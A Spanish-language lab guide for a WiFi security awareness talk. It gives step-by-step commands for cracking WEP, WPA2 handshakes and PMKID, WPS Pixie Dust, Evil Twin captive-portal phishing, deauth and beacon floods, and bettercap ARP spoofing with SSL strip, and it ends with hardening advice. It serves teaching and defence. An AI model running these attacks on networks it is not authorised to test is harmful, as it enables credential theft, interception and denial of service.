Hacking WiFi: guía completa de laboratorio
Cuando te conectas a una red inalámbrica, tus datos se transmiten por el aire. Cualquiera dentro del rango puede interceptarlos. La única protección es el cifrado, y la mayoría del cifrado…
Guía técnica para ponencia de concienciación sobre seguridad WiFi. Todo el contenido es exclusivamente para fines educativos. Solo practicar en redes propias o con autorización escrita explícita del propietario.
Tabla de contenidos
Visión general y modelo de amenaza
¿Por qué WiFi es vulnerable?
Cuando te conectas a una red inalámbrica, tus datos se transmiten por el aire. Cualquiera dentro del rango puede interceptarlos. La única protección es el cifrado, y la mayoría del cifrado WiFi es débil, está mal configurado o puede romperse con las técnicas adecuadas.
Tipos de redes WiFi y su nivel de seguridad
| Tipo | Año | Estado | Tiempo de ataque |
|---|---|---|---|
| Open (sin contraseña) | — | Sin cifrado | Instantáneo (sniffing directo) |
| WEP | 1997 | ROTO (desde 2001) | 5-12 minutos |
| WPA (TKIP) | 2003 | Vulnerable | Horas-días (según password) |
| WPA2 (AES-CCMP) | 2004 | Estándar actual | Horas-días (según password) |
| WPA3 (SAE) | 2018 | Más seguro | Resistente a offline brute force |
Vectores de ataque principales
graph TD
A[WiFi Target] --> B[WEP Cracking<br/>IV Collection]
A --> C[WPA/WPA2 Handshake<br/>Capture + Brute Force]
A --> D[PMKID Attack<br/>Clientless]
A --> E[WPS PIN<br/>Brute Force]
A --> F[Evil Twin /<br/>Rogue AP]
A --> G[KRACK Attack<br/>Protocol Exploit]
A --> H[Deauth Flood<br/>DoS]
Laboratorio base — Hardware y Software
Hardware necesario
Adaptadores WiFi (imprescindible: soporte monitor mode + packet injection)
| Adaptador | Chipset | Monitor Mode | Injection | Precio aprox. | Recomendación |
|---|---|---|---|---|---|
| Alfa AWUS036ACH | RTL8812AU | ✅ | ✅ | ~40€ | TOP recomendado (dual-band 2.4/5 GHz) |
| Alfa AWUS036AXML | MediaTek MT7921AU | ✅ | ✅ | ~50€ | Mejor para WiFi 6 |
| Alfa AWUS036NHA | Atheros AR9271 | ✅ | ✅ | ~25€ | Clásico, excelente soporte Linux |
| TP-Link TL-WN722N v1 | Atheros AR9271 | ✅ | ✅ | ~15€ | SOLO v1 (v2/v3 usan chipset diferente) |
| Panda PAU09 | RT5572 | ✅ | ✅ | ~20€ | Dual-band económico |
IMPORTANTE: Verificar siempre la versión del hardware antes de comprar. Muchos fabricantes cambian el chipset entre versiones.
Hardware adicional para laboratorio completo
| Dispositivo | Uso | Precio aprox. |
|---|---|---|
| Router viejo (TP-Link, Netgear) | AP víctima configurable (WEP/WPA/WPS) | 10-20€ (segunda mano) |
| Raspberry Pi 4/5 | Rogue AP, servidor DHCP/DNS, automatización | 40-70€ |
| WiFi Pineapple Mark VII | Evil Twin automatizado, captive portal, MitM | ~120€ (Hak5) |
| ESP8266/ESP32 (NodeMCU) | Deauth beacon, WiFi jammer educativo | ~5€ |
| Antena direccional Yagi | Extender rango de captura (hasta 1km+) | 15-30€ |
| Antena omnidireccional 9dBi | Mejor recepción general | 10-15€ |
| HackRF One (opcional) | Análisis de espectro RF, ataques de radio avanzados | ~300€ |
| Laptop dedicada | Host de ataque (mínimo 8GB RAM para hashcat) | Variable |
| GPU potente (para cracking) | NVIDIA RTX 3060+ para hashcat acelerado | Variable |
Montaje físico del laboratorio
┌─────────────────────────────────────────────────┐│ LABORATORIO WIFI ││ ││ [Router víctima] ←──WiFi──→ [Laptop ataque] ││ (WEP/WPA/WPS) + Alfa AWUS036ACH ││ │ │ ││ │ Ethernet │ USB ││ ↓ ↓ ││ [PC víctima] [Raspberry Pi] ││ (genera tráfico) (Rogue AP / tools) ││ ││ ⚠️ TODO en red AISLADA - sin acceso a Internet ││ real desde la red víctima │└─────────────────────────────────────────────────┘Software necesario
Sistema operativo
| SO | Descripción | Uso recomendado |
|---|---|---|
| Kali Linux (2025.x+) | Distro pentest con todas las herramientas preinstaladas | Principal |
| Parrot OS | Alternativa a Kali, más ligera | Alternativa |
| WiFiSlax | Distro española especializada en auditoría WiFi | WiFi específico |
Herramientas principales
| Herramienta | Función | Instalación |
|---|---|---|
| aircrack-ng (suite completa) | Monitor mode, captura, deauth, cracking WEP/WPA | sudo apt install aircrack-ng |
| hashcat | Cracking GPU acelerado (WPA, PMKID, etc.) | sudo apt install hashcat |
| hcxdumptool | Captura PMKID sin necesidad de cliente | sudo apt install hcxdumptool |
| hcxpcapngtool | Conversión de capturas a formato hashcat | sudo apt install hcxtools |
| Reaver | Brute force WPS PIN | sudo apt install reaver |
| Bully | Brute force WPS (alternativa a Reaver) | sudo apt install bully |
| Wifite2 | Automatización de ataques WiFi | sudo apt install wifite |
| Fluxion | Evil Twin automatizado con captive portal | git clone https://github.com/FluxionNetwork/fluxion |
| Wifiphisher | Evil Twin + phishing automatizado | sudo apt install wifiphisher |
| hostapd-mana | Rogue AP avanzado (KARMA attack) | sudo apt install hostapd-mana |
| mdk4 | Deauth flood, beacon flood, DoS WiFi | sudo apt install mdk4 |
| Wireshark | Análisis de paquetes capturados | sudo apt install wireshark |
| Kismet | Detector de redes y IDS wireless | sudo apt install kismet |
| bettercap | MitM, sniffing, spoofing (todo en uno) | sudo apt install bettercap |
| macchanger | Cambio de dirección MAC | sudo apt install macchanger |
Diccionarios para cracking
| Diccionario | Tamaño | Fuente |
|---|---|---|
| rockyou.txt | ~14M passwords | Incluido en Kali: /usr/share/wordlists/rockyou.txt |
| SecLists WiFi | Específico WiFi | git clone https://github.com/danielmiessler/SecLists |
| crunch (generador) | Custom | crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 -o custom.txt |
| hashcat rules | Mutaciones | /usr/share/hashcat/rules/best64.rule |
Preparación inicial del adaptador WiFi
# 1. Verificar que el adaptador es detectadosudo airmon-ng
# 2. Matar procesos que interfierensudo airmon-ng check kill
# 3. Poner adaptador en modo monitorsudo airmon-ng start wlan0# Ahora el adaptador se llama wlan0mon
# 4. Verificar modo monitor activoiwconfig wlan0mon# Debe mostrar "Mode:Monitor"
# 5. (Opcional) Cambiar MAC para anonimatosudo macchanger -r wlan0monMétodo 1 — WEP Cracking
Concepto
WEP (Wired Equivalent Privacy, 1997) utiliza un Initialization Vector (IV) de solo 24 bits que se repite frecuentemente. Capturando suficientes paquetes con IVs repetidos, se puede derivar matemáticamente la clave de cifrado. El algoritmo RC4 subyacente es fundamentalmente débil en esta implementación.
Tiempo estimado: 5-12 minutos
Setup del laboratorio
# En el router víctima:# 1. Acceder al panel admin (192.168.1.1 típicamente)# 2. Wireless Settings → Security → WEP# 3. Establecer clave WEP de 64-bit o 128-bit# 4. Conectar al menos 1 dispositivo al WiFi (genera tráfico)Ataque paso a paso
# === PASO 1: Preparar adaptador ===sudo airmon-ng check killsudo airmon-ng start wlan0
# === PASO 2: Escanear redes WEP ===sudo airodump-ng wlan0mon# Buscar redes con columna "ENC" = WEP# Anotar: BSSID, CH (canal), ESSID
# === PASO 3: Capturar paquetes del objetivo ===sudo airodump-ng --bssid <BSSID_VICTIMA> -c <CANAL> -w captura_wep wlan0mon# Dejar corriendo. Necesitamos 20.000-80.000 IVs (columna #Data)
# === PASO 4: (Opcional) Acelerar con ARP replay ===# En otra terminal:sudo aireplay-ng -3 -b <BSSID_VICTIMA> -h <MAC_NUESTRA> wlan0mon# Esto inyecta paquetes ARP para generar más IVs rápidamente
# === PASO 5: (Opcional) Fake authentication si no hay clientes ===sudo aireplay-ng -1 0 -a <BSSID_VICTIMA> -h <MAC_NUESTRA> wlan0mon
# === PASO 6: Crackear la clave ===# Cuando tengamos suficientes IVs:sudo aircrack-ng captura_wep-01.cap# Output: "KEY FOUND! [ XX:XX:XX:XX:XX ]"Ejemplo de output real
Aircrack-ng 1.7
[00:00:03] Tested 512 keys (got 45023 IVs)
KB depth byte(vote) 0 0/ 9 A3(52224) 1F(48640) 09(47872) B7(47360) 1 0/ 1 7C(67840) 4A(49920) 11(48128) D3(47616) 2 0/ 2 E9(55808) 12(49920) 0A(49408) C1(48384) 3 0/ 5 23(51456) F7(49152) 8B(48640) CC(48128) 4 2/ 3 84(50688) 1D(49664) 0E(49408) 3C(48896)
KEY FOUND! [ A3:7C:E9:23:84 ] Decrypted correctly: 100%Tips y pitfalls
- Velocidad: en redes con tráfico activo, 5 min; en redes silenciosas, usar injection para acelerar.
- Antena: una antena direccional mejora drásticamente la captura a distancia.
- Detección: los IDS pueden detectar paquetes de deauth e injection.
- Clave 64 vs 128 bits: ambas se rompen; la de 128 tarda solo ~5 min más.
Para la ponencia (demostración en vivo)
- Configurar router con WEP antes de la ponencia.
- Conectar 2-3 dispositivos para generar tráfico.
- Ejecutar el ataque en directo — impacto visual: mostrar la clave en pantalla en <10 minutos.
- Mensaje: “Si tu router usa WEP, tu contraseña se recupera en 5 minutos con herramientas gratuitas.”
Método 2 — WPA WPA2 Handshake Capture
Concepto
Cuando un dispositivo se conecta a una red WPA/WPA2, realiza un 4-way handshake con el router. Este handshake contiene un hash de la contraseña WiFi. Si se captura este handshake, se puede ejecutar un ataque de fuerza bruta offline contra él.
El 4-Way Handshake explicado
sequenceDiagram
participant C as Cliente
participant AP as Access Point
Note over C,AP: Ambos conocen la PSK (Pre-Shared Key)
AP->>C: Msg 1: ANonce (AP Nonce aleatorio)
Note over C: Calcula PTK con PSK + ANonce + SNonce + MACs
C->>AP: Msg 2: SNonce + MIC
Note over AP: Calcula PTK, verifica MIC
AP->>C: Msg 3: GTK (cifrada) + MIC
C->>AP: Msg 4: ACK
Note over C,AP: Sesión cifrada establecida
El MIC (Message Integrity Code) del Msg 2 es lo que permite verificar passwords offline: si un password candidato genera el mismo MIC, es correcto.
Setup del laboratorio
# En el router víctima:# 1. Wireless Settings → Security → WPA2-PSK (AES)# 2. Establecer contraseña débil para demo: "password123" o "12345678"# 3. Conectar al menos 1 dispositivo (smartphone, laptop)Ataque paso a paso
# === PASO 1: Preparar adaptador ===sudo airmon-ng check killsudo airmon-ng start wlan0
# === PASO 2: Escanear redes WPA/WPA2 ===sudo airodump-ng wlan0mon# Buscar redes con ENC = WPA2, columna AUTH = PSK# Anotar: BSSID, CH, ESSID y clientes conectados (STATION)
# === PASO 3: Capturar en el canal del objetivo ===sudo airodump-ng --bssid <BSSID_VICTIMA> -c <CANAL> -w captura_wpa wlan0mon# Esperar a capturar handshake (aparece "WPA handshake: XX:XX:XX:XX:XX:XX" arriba)
# === PASO 4: Forzar reconexión con deauth ===# En otra terminal (acelera la captura):sudo aireplay-ng -0 5 -a <BSSID_VICTIMA> -c <MAC_CLIENTE> wlan0mon# -0 5 = enviar 5 paquetes de deauth# El cliente se desconecta y reconecta → capturamos el handshake
# === PASO 5: Verificar que tenemos el handshake ===sudo aircrack-ng captura_wpa-01.cap# Debe mostrar "1 handshake" junto al nombre de la red
# === PASO 6: Cracking con diccionario (aircrack-ng) ===sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt captura_wpa-01.cap# Velocidad: ~2.000-5.000 keys/s en CPU
# === PASO 6 (ALT): Cracking con GPU (hashcat) — MUCHO MÁS RÁPIDO ===# Primero convertir formato:sudo aircrack-ng captura_wpa-01.cap -J hash_wpa# O con hcxpcapngtool:hcxpcapngtool -o hash_wpa.hc22000 captura_wpa-01.cap
# Cracking con hashcat:hashcat -m 22000 hash_wpa.hc22000 /usr/share/wordlists/rockyou.txt# Velocidad con GPU: ~500.000-2.000.000+ keys/s (RTX 3060+)
# === PASO 6 (ALT 2): Cracking con reglas de mutación ===hashcat -m 22000 hash_wpa.hc22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule# Las reglas prueban variaciones: Password → p@ssw0rd, PASSWORD, password123, etc.Tabla de tiempos de cracking (estimaciones con GPU RTX 3060)
| Tipo de contraseña | Ejemplo | Tiempo estimado |
|---|---|---|
| Password en diccionario | password123 |
Segundos |
| Password default del router | XTREME7890 |
Minutos (con diccionario router) |
| 8 chars lowercase | abcdefgh |
~2 horas |
| 8 chars mixed case | AbCdEfGh |
~24 horas |
| 8 chars mixed + numbers | Ab3dEf7h |
~3 días |
| 8 chars full charset | A$3d!f7& |
~2 semanas |
| 12 chars mixed | MyP@ssw0rd12 |
~Años |
| 15+ chars random | kJ8$mQ2#nP5&xR |
Inviable |
Tips
- Sin cliente conectado: no hay handshake que capturar → usar PMKID (Método 3).
- Deauth selectivo:
-c <MAC_CLIENTE>es más sigiloso que deauth broadcast. - Múltiples GPUs: hashcat escala linealmente con GPUs adicionales.
- Cloud cracking: servicios como AWS/GCP con GPUs NVIDIA pueden acelerar masivamente (coste: ~$1-5/hora).
- Mask attack: si conoces parte del patrón del password (ej.: 8 dígitos numéricos):
Terminal window hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d# Solo prueba combinaciones numéricas de 8 dígitos
Para la ponencia
- Pre-capturar el handshake antes de la ponencia (ahorra tiempo).
- En vivo: mostrar el deauth → reconexión del móvil → handshake capturado.
- Lanzar hashcat con diccionario rockyou → la password
password123se crackea en segundos. - Mensaje: “Tu contraseña WiFi de 8 caracteres se recupera en horas. Con 15+ caracteres aleatorios, es inviable.”
Método 3 — WPA WPA2 PMKID Attack
Concepto
Descubierto en 2018 por Jens “atom” Steube (creador de hashcat). No necesita que haya un cliente conectado a la red. El atacante solo necesita capturar un único frame del router al intentar conectarse. Este frame contiene el PMKID (Pairwise Master Key Identifier), derivado del password.
Ventaja sobre el handshake
| Aspecto | Handshake | PMKID |
|---|---|---|
| Necesita cliente conectado | ✅ Sí | ❌ No |
| Necesita deauth | ✅ Normalmente | ❌ No |
| Detectable | Más (deauth) | Menos (pasivo) |
| Velocidad de captura | Depende del cliente | Instantáneo |
Setup del laboratorio
# Mismo setup que Método 2# Router con WPA2-PSK + contraseña débil# NO necesitas dispositivos conectados al routerAtaque paso a paso
# === PASO 1: Preparar adaptador ===sudo airmon-ng check killsudo airmon-ng start wlan0
# === PASO 2: Capturar PMKID con hcxdumptool ===sudo hcxdumptool -i wlan0mon -o captura_pmkid.pcapng --enable_status=1# Esperar hasta ver "PMKID" en el output# Ctrl+C cuando tengamos capturas suficientes
# === PASO 3: Convertir a formato hashcat ===hcxpcapngtool -o pmkid_hash.hc22000 captura_pmkid.pcapng# Verificar que el archivo tiene contenido:cat pmkid_hash.hc22000
# === PASO 4: Cracking con hashcat ===hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
# === PASO 4 (ALT): Con reglas ===hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule
# === PASO 4 (ALT 2): Máscara para passwords numéricos (8 dígitos) ===hashcat -m 22000 pmkid_hash.hc22000 -a 3 ?d?d?d?d?d?d?d?dTips
- No todos los routers son vulnerables: el PMKID solo está disponible si el router soporta 802.11r (roaming) o ciertos tipos de PMK caching.
- Dual-band: capturar en ambas bandas (2.4 GHz y 5 GHz) por separado.
- Wifite2 lo automatiza:
sudo wifite --pmkidintenta PMKID automáticamente.
Método 4 — WPS Brute Force
Concepto
WPS (WiFi Protected Setup) permite conectarse a una red pulsando un botón en el router o introduciendo un PIN de 8 dígitos. El problema: el PIN se valida en dos mitades (4+3 dígitos + 1 checksum), reduciendo las combinaciones de 100.000.000 a solo 11.000. Esto permite brute force en 2-10 horas.
Cálculo de combinaciones
PIN WPS: 8 dígitos → XXXX-XXX-C (checksum)Primera mitad: 4 dígitos → 10.000 combinacionesSegunda mitad: 3 dígitos → 1.000 combinacionesTotal: 10.000 + 1.000 = 11.000 intentos (no 100.000.000)Setup del laboratorio
# En el router víctima:# 1. Wireless Settings → WPS → Enabled (PIN method)# 2. Anotar el PIN WPS del router (normalmente en la etiqueta trasera)# 3. WPA2 con cualquier contraseña (el ataque WPS la bypasea)Ataque paso a paso
# === PASO 1: Preparar adaptador ===sudo airmon-ng check killsudo airmon-ng start wlan0
# === PASO 2: Escanear redes con WPS activado ===sudo wash -i wlan0mon# Buscar redes con "Lck" = No (WPS no bloqueado)# Columna "WPS" muestra la versión
# === PASO 3: Ataque con Reaver ===sudo reaver -i wlan0mon -b <BSSID_VICTIMA> -c <CANAL> -vv# -vv = verbose# Paciencia: puede tardar 2-10 horas
# === PASO 3 (ALT): Ataque con Bully (más rápido en algunos routers) ===sudo bully -b <BSSID_VICTIMA> -c <CANAL> wlan0mon -v 3
# === OPCIONES AVANZADAS Reaver ===# Si el router bloquea tras intentos:sudo reaver -i wlan0mon -b <BSSID_VICTIMA> -c <CANAL> -vv -d 60 -r 3:60# -d 60 = delay 60 segundos entre intentos# -r 3:60 = sleep 60s cada 3 intentos
# Pixie Dust Attack (instantáneo en routers vulnerables):sudo reaver -i wlan0mon -b <BSSID_VICTIMA> -c <CANAL> -vv -K# -K = Pixie Dust (explota generación débil de nonces E-S1/E-S2)# Si funciona, obtiene el PIN en SEGUNDOSPixie Dust — El ataque instantáneo
Algunos routers generan los nonces E-S1 y E-S2 de forma predecible (a veces incluso son ceros). El ataque Pixie Dust explota esto para derivar el PIN offline en segundos, sin brute force.
Routers vulnerables: Ralink, Broadcom, Realtek (muchos modelos de 2014-2020).
# Pixie Dust con Bully:sudo bully -b <BSSID_VICTIMA> -c <CANAL> wlan0mon -d -v 3# -d = Pixie Dust modeTips
- Rate limiting: muchos routers modernos bloquean WPS tras 3-5 intentos fallidos.
- Pixie Dust primero: siempre intentar Pixie Dust antes de brute force completo.
- Wash: verificar que WPS no esté bloqueado (
Lck=Yes→ router bloqueado). - Wifite2:
sudo wifite --wpsautomatiza el proceso completo.
Para la ponencia
- Pre-configurar router con WPS PIN habilitado.
- Demostrar Pixie Dust: PIN recuperado en segundos (si el router es vulnerable).
- Mensaje: “El 90% de la gente no sabe que tiene WPS activado. Son solo 11.000 combinaciones.”
Método 5 — Evil Twin Rogue AP
Concepto
El atacante crea un punto de acceso falso idéntico al legítimo: mismo SSID, misma apariencia. Los dispositivos se conectan al AP más fuerte. Una vez conectados, el atacante controla todo el tráfico: captura credenciales, inyecta malware, ejecuta MitM.
Variantes
| Variante | Descripción | Herramienta |
|---|---|---|
| Evil Twin básico | AP falso + DHCP + DNS → captura tráfico | hostapd + dnsmasq |
| Evil Twin + Captive Portal | Pide la contraseña WiFi al usuario | Fluxion |
| Wifiphisher | Social engineering automatizado (actualizaciones falsas) | wifiphisher |
| KARMA Attack | Responde a TODAS las solicitudes de probe | hostapd-mana |
| WiFi Pineapple | Hardware dedicado (todo automatizado) | WiFi Pineapple Mark VII |
Setup del laboratorio
# Hardware necesario:# - 2 adaptadores WiFi (uno para el AP falso, otro para monitorear/deauth)# - O 1 adaptador + Raspberry Pi como AP# - Router víctima encendido con red legítima# - Dispositivo víctima (smartphone) conectado a la red legítimaAtaque con Fluxion (Evil Twin + Captive Portal)
# === PASO 1: Clonar Fluxion ===git clone https://github.com/FluxionNetwork/fluxioncd fluxionsudo ./fluxion.sh
# === PASO 2: Seleccionar idioma y ataque ===# Menú → "Handshake Snooper" (capturar handshake primero)# O → "Captive Portal" (engañar al usuario para que introduzca la clave)
# === PASO 3: Escanear redes ===# Fluxion escanea automáticamente# Seleccionar la red objetivo
# === PASO 4: Fluxion automáticamente: ===# 1. Captura el handshake (si no lo tiene)# 2. Crea un AP falso idéntico# 3. Desautentica a los clientes del AP legítimo# 4. Los clientes se conectan al AP falso# 5. Muestra una página de "actualización de firmware" pidiendo la clave WiFi# 6. El usuario introduce la clave# 7. Fluxion la verifica contra el handshake capturado# 8. Si es correcta → SUCCESSAtaque manual (Evil Twin desde cero)
# === PASO 1: Preparar interfaces ===# wlan0 = adaptador 1 (AP falso)# wlan1mon = adaptador 2 (deauth + monitor)
# === PASO 2: Configurar hostapd (AP falso) ===cat > /tmp/hostapd.conf << EOFinterface=wlan0driver=nl80211ssid=NombreRedVictimahw_mode=gchannel=6auth_algs=1wpa=0EOF
sudo hostapd /tmp/hostapd.conf &
# === PASO 3: Configurar DHCP (dnsmasq) ===cat > /tmp/dnsmasq.conf << EOFinterface=wlan0dhcp-range=192.168.1.100,192.168.1.200,12hdhcp-option=3,192.168.1.1dhcp-option=6,192.168.1.1server=8.8.8.8log-querieslog-dhcpaddress=/#/192.168.1.1EOF
sudo ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 upsudo dnsmasq -C /tmp/dnsmasq.conf &
# === PASO 4: Configurar portal cautivo (Apache/nginx) ===# Servir una página HTML que pida la contraseña WiFi# Las requests DNS se redirigen a nuestro servidor
# === PASO 5: Deauth clientes del AP legítimo ===sudo aireplay-ng -0 0 -a <BSSID_VICTIMA> wlan1mon# Los clientes se reconectan a nuestro AP falso (señal más fuerte)
# === PASO 6: Capturar credenciales ===# Monitorear los logs del servidor web para capturar lo que introduce el usuariosudo tail -f /var/log/apache2/access.logAtaque con Wifiphisher
# === Instalación ===sudo apt install wifiphisher
# === Ejecución ===sudo wifiphisher# Menú interactivo:# 1. Seleccionar red objetivo# 2. Seleccionar escenario de phishing:# - "Firmware Upgrade Page" → pide password WiFi# - "OAuth Login Page" → captura credenciales de redes sociales# - "Browser Plugin Update" → entrega payload# 3. Wifiphisher deautentica automáticamente y crea el AP falsoTips
- Señal: la señal del AP falso debe ser MÁS FUERTE que el legítimo → usar antena de alta ganancia.
- KARMA attack: hostapd-mana responde a TODOS los probe requests, capturando dispositivos que buscan redes guardadas.
- HTTPS: el captive portal no captura tráfico HTTPS cifrado; solo funciona para la página de phishing.
- Detección: WIDS (Wireless Intrusion Detection Systems) pueden detectar Evil Twins.
- Ética: este es el ataque más “social engineering” — depende de engañar al usuario.
Para la ponencia
- Mostrar Fluxion creando un AP falso idéntico.
- Un voluntario se conecta con su móvil → ve la página de “actualización”.
- Introduce la contraseña WiFi → aparece en la pantalla del atacante.
- Mensaje: “Cualquier red WiFi abierta en cafetería/hotel puede ser un Evil Twin. Nunca introduzcas datos sensibles en redes públicas.”
Método 6 — KRACK Attack
Concepto
KRACK (Key Reinstallation Attack) — descubierto por Mathy Vanhoef en 2017 — es una vulnerabilidad en el protocolo WPA2 en sí, no en las contraseñas. Explota cómo WPA2 maneja la reinstalación de claves de cifrado durante el 4-way handshake.
El atacante fuerza la reinstalación de una clave ya usada (nonce reset), lo que permite:
- Descifrar tráfico.
- Inyectar paquetes.
- Secuestrar conexiones TCP.
Dispositivos vulnerables
- Android 6.0+ (wpa_supplicant 2.4-2.5): MÁS vulnerable (instala clave de todo-ceros).
- Linux con wpa_supplicant < 2.7.
- Windows y iOS: parcheados rápidamente.
- Routers: depende del firmware.
Setup del laboratorio
# Hardware:# - 2 adaptadores WiFi (uno para AP MitM, otro para monitor)# - Router víctima con WPA2# - Smartphone Android 6.0 (sin parchar) o VM con wpa_supplicant vulnerable# - Laptop con Kali Linux
# Herramientas:git clone https://github.com/vanhoefm/krackattacks-scriptscd krackattacks-scriptspip install scapy --break-system-packagesDemostración conceptual
# El ataque KRACK completo es complejo. Para la ponencia se recomienda:
# 1. Explicar el concepto con diagramas# 2. Mostrar el script de test de Vanhoef:cd krackattacks-scriptssudo python3 krack_all_zero_tk.py --target <IP_VICTIMA> --interface wlan0mon
# 3. El script verifica si el dispositivo es vulnerable# 4. En dispositivos vulnerables, muestra que el tráfico es descifrablePara la ponencia
- No recomendado para demo en vivo (complejo, requiere dispositivos específicos sin parchar).
- Mejor: mostrar diagramas del ataque + explicar impacto + verificar que los dispositivos del público están parcheados.
- Mensaje: “Actualiza SIEMPRE el firmware de tu router y el SO de tus dispositivos.”
Recursos
- Web oficial: https://www.krackattacks.com/
- Paper original: https://papers.mathyvanhoef.com/ccs2017.pdf
- Scripts de test: https://github.com/vanhoefm/krackattacks-scripts
Método 7 — WiFi Pineapple y hardware ofensivo
WiFi Pineapple Mark VII
Dispositivo comercial de Hak5 diseñado para pentesting WiFi. Automatiza múltiples ataques:
- Evil Twin automático
- Captura de handshakes
- MitM con SSL strip
- KARMA attack (responde a todos los probe requests)
- Captive portal personalizable
- Dashboard web para gestión
| Especificación | Detalle |
|---|---|
| Precio | ~$120 USD |
| Interfaz | Web dashboard |
| Radios | 2 (una para AP, otra para monitor/deauth) |
| Alimentación | USB-C |
| Tamaño | Portátil (cabe en un bolsillo) |
| Web | https://shop.hak5.org/products/wifi-pineapple |
Otros dispositivos de hardware ofensivo
| Dispositivo | Función | Precio |
|---|---|---|
| ESP8266 Deauther | Envía deauth floods, beacon floods (microcontrolador de $5) | ~5€ |
| Flipper Zero | Multi-tool (WiFi con módulo extra, NFC, SubGHz, IR, BadUSB) | ~170€ |
| HackRF One | SDR (Software Defined Radio) para análisis de espectro y ataques RF | ~300€ |
| Proxmark3 | Clonación de tarjetas RFID/NFC (acceso a edificios) | ~300€ |
| USB Rubber Ducky (Hak5) | Inyección de teclas (payload delivery vía USB) | ~60€ |
| LAN Turtle (Hak5) | Implante de red (MitM en Ethernet, VPN reversa) | ~60€ |
ESP8266 Deauther — El WiFi jammer de $5
# Flashear ESP8266 con firmware deauther# Proyecto: https://github.com/SpacehuhnTech/esp8266_deauther
# 1. Descargar Arduino IDE# 2. Añadir board ESP8266# 3. Flashear el firmware deauther# 4. Conectarse al AP "pwned" (password: deauther)# 5. Abrir 192.168.4.1 en el navegador# 6. Escanear redes → seleccionar objetivo → Attack → Deauth
# ⚠️ SOLO para laboratorio. El jamming WiFi es ilegal en la mayoría de jurisdicciones.Método 8 — Ataques avanzados complementarios
Deauth Flood (DoS WiFi)
# Desconectar a TODOS los clientes de una red (DoS):sudo mdk4 wlan0mon d -c <CANAL># O con aireplay-ng (broadcast deauth):sudo aireplay-ng -0 0 -a <BSSID_VICTIMA> wlan0mon# -0 0 = deauth infinitoBeacon Flood (confusión de redes)
# Crear cientos de redes WiFi falsas:sudo mdk4 wlan0mon b -f nombres.txt# nombres.txt contiene un SSID por línea# Los dispositivos cercanos ven cientos de redes "fantasma"MitM sobre red WiFi comprometida (post-explotación)
# Una vez dentro de la red WiFi:
# === Con bettercap ===sudo bettercap -iface wlan0
# Dentro de bettercap:net.probe on # Descubrir hosts en la rednet.sniff on # Capturar tráficoarp.spoof on # ARP spoofing (MitM)set arp.spoof.targets <IP_VICTIMA>set http.proxy.sslstrip truehttp.proxy on # HTTP proxy con SSL stripnet.sniff on # Capturar credenciales HTTP
# === Con Wireshark ===sudo wireshark -i wlan0 -k# Filtros útiles:# http.request.method == "POST" → credenciales en formularios HTTP# dns → queries DNS (historial de navegación)# ftp || telnet → credenciales en texto planoWifite2 — Automatización total
# Wifite2 automatiza TODOS los ataques anteriores:sudo wifite
# Opciones útiles:sudo wifite --wep # Solo atacar WEPsudo wifite --wpa # Solo atacar WPAsudo wifite --wps # Solo atacar WPSsudo wifite --pmkid # Solo PMKIDsudo wifite --kill # Matar procesos conflictivossudo wifite --dict /path/to/wordlist.txt # Diccionario customDefensa y hardening WiFi
Checklist de seguridad WiFi (para la ponencia)
| # | Acción | Impacto | Dificultad |
|---|---|---|---|
| 1 | Cambiar cifrado a WPA3 (o WPA2-AES mínimo) | 🔴 Crítico | Fácil |
| 2 | Password 15+ chars aleatorios (no palabras de diccionario) | 🔴 Crítico | Fácil |
| 3 | Desactivar WPS | 🔴 Crítico | Fácil |
| 4 | Cambiar password admin del router (no dejar default) | 🔴 Crítico | Fácil |
| 5 | Actualizar firmware del router | 🟡 Alto | Medio |
| 6 | Desactivar WPA/TKIP (solo usar AES-CCMP) | 🟡 Alto | Fácil |
| 7 | Ocultar SSID (reduce ataques casuales) | 🟢 Bajo | Fácil |
| 8 | Filtrado MAC (no es seguro, pero añade una capa) | 🟢 Bajo | Medio |
| 9 | Segmentar IoT en VLAN separada | 🟡 Alto | Avanzado |
| 10 | Usar VPN en redes públicas | 🔴 Crítico | Fácil |
| 11 | Monitorizar con Kismet/WIDS | 🟡 Alto | Avanzado |
| 12 | 802.1X (WPA-Enterprise) en entornos corporativos | 🔴 Crítico | Avanzado |
Contraseñas WiFi seguras vs inseguras
❌ INSEGURAS (se crackean en minutos/horas): password123, 12345678, admin1234, qwerty2024 Nombre_del_perro2020, MiCasa123, WiFi_Casa
✅ SEGURAS (inviables de crackear): kJ8$mQ2#nP5&xR7!bT9w (20 chars random) correct-horse-battery-staple-7$ (passphrase larga) Generadas con: pwgen -s 20 1 o keepass/bitwardenGuión de presentación para ponencia en vivo
Estructura propuesta (60-90 minutos)
Bloque 1 — Introducción (10 min)
- “Tu WiFi no es tan seguro como crees.”
- Mostrar estadísticas: % de redes WEP/WPS activas en la zona (escanear antes con
airodump-ng). - Disclaimer legal: solo redes propias, autorización escrita.
Bloque 2 — Demo WEP (10 min)
- Ataque en vivo: crackear WEP en <10 minutos.
- Impacto visual: password en pantalla.
- Lección: “WEP = sin contraseña.”
Bloque 3 — Demo WPA2 Handshake (15 min)
- Capturar handshake en vivo (deauth + reconexión).
- Mostrar hashcat crackeando
password123en segundos. - Mostrar tabla de tiempos: 8 chars vs 15 chars.
- Lección: “La longitud y aleatoriedad de tu contraseña lo es TODO.”
Bloque 4 — Demo WPS (10 min)
- Mostrar
washescaneando WPS. - Demo Pixie Dust (si el router es vulnerable): PIN en segundos.
- Lección: “WPS debe estar DESACTIVADO. Punto.”
Bloque 5 — Demo Evil Twin (15 min)
- Momento más impactante: un voluntario se conecta a tu AP falso.
- Mostrar captive portal pidiendo credenciales.
- Mostrar el tráfico capturado.
- Lección: “Nunca confíes en redes WiFi públicas. Usa VPN.”
Bloque 6 — Defensa práctica (15 min)
- Abrir el panel del router en directo.
- Mostrar cómo cambiar cifrado, desactivar WPS, actualizar firmware.
- Checklist imprimible para cada asistente.
- Recomendación de VPN y gestores de contraseñas.
Bloque 7 — Q&A (10-15 min)
- Preguntas del público.
- “¿Quién va a cambiar su contraseña WiFi esta noche?” 🙋
Lista de material para la ponencia
